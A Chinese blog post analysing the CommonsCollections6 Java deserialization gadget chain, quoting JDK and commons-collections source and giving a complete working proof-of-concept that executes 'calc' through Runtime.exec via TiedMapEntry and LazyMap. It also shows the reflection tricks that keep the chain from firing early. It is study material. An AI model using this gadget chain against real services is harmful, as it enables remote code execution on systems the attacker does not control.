Java反序列化之 CommonsCollections(六)调用链分析

发布于 2023-11-29  132 次阅读


环境介绍:

CommonsCollections6链,优点就在于不限制JDK的版本。

那么我还是用commons-collections3.2.1

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

JDK8u71的AnnotationInvocationHandler.readObject()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    ObjectInputStream.GetField fields = s.readFields();

    @SuppressWarnings("unchecked")
    Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
    @SuppressWarnings("unchecked")
    // 可以看到这里,memberValues是从fields获取的
    Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(t);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    // consistent with runtime Map type
    // 新建了一个LinkedHashMap
    Map<String, Object> mv = new LinkedHashMap<>();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
        String name = memberValue.getKey();
        Object value = null;
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {

                // 可以看到这里不会再调用setValue方法,那么TransformedMap.checkSetValue()这条链了
                value = new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name));
            }
        }
        // 这里调用,将键值对放入LinkedHashMap
        mv.put(name, value);
    }

    UnsafeAccessor.setType(this, t);
    UnsafeAccessor.setMemberValues(this, mv);
}

因为在JDK8u71中,AnnotationInvocationHandler.readObject中,删除了setValue方法,因此就无法使用TransformedMap.checkSetValue()这条链了。

TiedMapEntry

/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;

import org.apache.commons.collections.KeyValue;

/**
 * A {@link java.util.Map.Entry Map.Entry} tied to a map underneath.
 * <p>
 * This can be used to enable a map entry to make changes on the underlying
 * map, however this will probably mess up any iterators.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 * 
 * @author Stephen Colebourne
 */
// 是public修饰的,可以直接new对象
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    /** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;

    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    // 构造函数只需要符两个参数即可
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    // Map.Entry interface
    //-------------------------------------------------------------------------
    /**
     * Gets the key of this entry
     * 
     * @return the key
     */
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        // 这里又调用了get()方法,如果我么可以控制这个map为LazyMap,就可触发transform
        return map.get(key);
    }

    /**
     * Sets the value associated with the key direct onto the map.
     * 
     * @param value  the new value
     * @return the old value
     * @throws IllegalArgumentException if the value is set to this map entry
     */
    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        }
        return map.put(key, value);
    }

    /**
     * Compares this <code>Map.Entry</code> with another <code>Map.Entry</code>.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
     * 
     * @param obj  the object to compare to
     * @return true if equal key and value
     */
    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        }
        if (obj instanceof Map.Entry == false) {
            return false;
        }
        Map.Entry other = (Map.Entry) obj;
        Object value = getValue();
        return
            (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
            (value == null ? other.getValue() == null : value.equals(other.getValue()));
    }

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        // 在TiedMapEntry中的hashCode方法中,调用了getValue()
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

    /**
     * Gets a string version of the entry.
     * 
     * @return entry as a string
     */
        public String toString() {
        return getKey() + "=" + getValue();
    }

}

经过分析TiedMapEntry这个类,发现如果调用到TiedMapEntry.hashCode(),就会执行到TiedMapEntry.getValue(),在getValue()中会调用到map.get(),并且这个map可以在我们构造TiedMapEntry对象时,从构造方法中传入,也就是可控,如果我们传入的是LazyMap,那么就会调用到LazyMap.get(),从而执行到Transform方法执行代码。

测试POC

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import serializer.Serialize;

import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @author: Ordshine
 * @date: 2023 - 11
 * @description:
 * @version: 1.0
 */

public class CommonsCollection6 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                // 相当于getRuntime方法
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(t);

        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "tiedMapEntry"); //为什么我调用到这里的时候,就会触发RCE??????痛苦啊

        Map map2 = new HashMap<>();
        map2.put(tiedMapEntry, null); // 应该是在put时候才会触发hashCode()

        Serialize.serialize(map2);
        Serialize.unSerialize();
    }
}

这里存在一个问题:执行到42行这里的时候,就触发了RCE?这是什么原因?

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "tiedMapEntry");

最终发现原因出在这里:TiedMapEntry.toString()

public String toString() {
    return getKey() + "=" + getValue(); // 可以看到,这里也调用了getValue()方法
}

因为IDEA在debug到某个对象的时候,会自动调用对象的toString()方法,用来在debug界面显示对象的信息。所以在创建TiedMapEntry的时候,IDEA调用了 TiedMapEntry.toString(),于是就调用到了 getValue() ,从而触发链子执行命令。

https://blog.csdn.net/lkforce/article/details/90479650

如何解决在put时就会触发一次RCE?

这里的思想和URLDNS链中一致,也就是在put之前,使得调用链失效,put之后,再恢复调用链,然后进行对象序列化,这里的实现如下:

// 这里修改LazyMap中的chainedTransformer达到我们的目的
// 在put之前的 LazyMap中的chainedTransformer设置为一个空chainedTransformer,put之后再恢复chainedTransformer
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); 
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map map2 = new HashMap<>();

map2.put(tiedMapEntry, "bbb"); // 这里需要进行修改,在 put之前,使得调用链失效,put后,在通过反射修复

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, chainedTransformer); // 恢复LazyMap中的chainedTransformer

// 序列化,反序列化

设置完之后,发现反序列化也无法触发命令执行了?调试一下看看。

发现,执行到

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); // 这里会给lazyMap赋值 {aaa=1}

lazyMap存在key值之后,LazyMap.get()就无法触发transform方法

public Object get(Object key) { // key = aaa
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) { // 这里会判断,LazyMap中是否存在aaa,存在就不会调用transform
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

所以,我们可以在put之后,将LazyMap删除aaa,之后再序列化,这样在反序列化时,进入LazyMap.get()时候,就会进入if语句调用到transform方法触发调用链。

最后的POC

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import serializer.Serialize;

import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @author: Ordshine
 * @date: 2023 - 11
 * @description:
 * @version: 1.0
 */

public class CommonsCollection6 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                // 相当于getRuntime方法
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(t);

        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        Map map2 = new HashMap<>();

        map2.put(tiedMapEntry, "bbb"); // 这里需要进行修改,在 put之前,使得调用链失效,put后,在通过反射修复
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap, chainedTransformer);

        Serialize.serialize(map2);
        Serialize.unSerialize();
    }
}

调用链

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()
  • alipay_img
  • wechat_img
届ける言葉を今は育ててる
最后更新于 2023-11-30